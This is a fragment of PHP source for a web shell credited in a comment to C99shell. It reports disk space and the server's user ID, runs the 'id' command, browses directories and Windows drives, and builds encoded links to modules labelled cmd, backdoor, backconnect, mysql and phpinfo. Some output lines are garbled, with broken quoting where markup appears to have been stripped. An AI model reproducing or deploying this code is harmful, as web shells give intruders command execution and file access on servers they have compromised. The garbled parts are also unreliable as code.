echo "\n Free : ".size($free).' Of '.size($space).' ('.ceil(($free/$space)*100).'%)';
Echo "\n ID :";
if (function_exists(posix_getgid)&&function_exists(posix_getuid))
{
$idgettid=' uid=('.posix_getuid().') gid=('.posix_getgid().')';
}
else
{
$idgettid=' Unknown/Nobody';
}
$id = (command('id'))? command('id') :$idgettid;
Echo "$id\n \n".' Directory fast change : ';
/*
Code From C99shell .. To Get Directory's and make switching easier
*/
$d = str_replace("\\",$directorysperator,$dir);
if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode($directorysperator,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
$t = '';
$j = 0;
foreach ($e as $r)
{
$t.= $r.$directorysperator;
if ($j == $i) {break;}
$j++;
}
$href=$md5.'CODE=dir&path='.$t;
$href=base64_encode($href);
echo '".htmlspecialchars($b).$directorysperator.'';
$i++;
}
/*
Done ..
*/
Echo ' Go To Another Partition On Windows System : ';
//$dirs=array('a','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r');
$dirs=array('c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r');
foreach($dirs as $key => $val)
{
$file=$val.'://';
if(@file_exists($file) && @is_dir($file) && @is_readable($file))
{
$href=$link.base64_encode($md5.'CODE=dir&path='.$file);
Echo '['.$val.'] ';
}
}
$array=array('phpcode','cmd','backdoor','backconnect','mysql','phpinfo');
foreach($array as $key => $val)
{
$links[]=$link.base64_encode($md5."CODE=$val&path=".$dir);
}
Echo '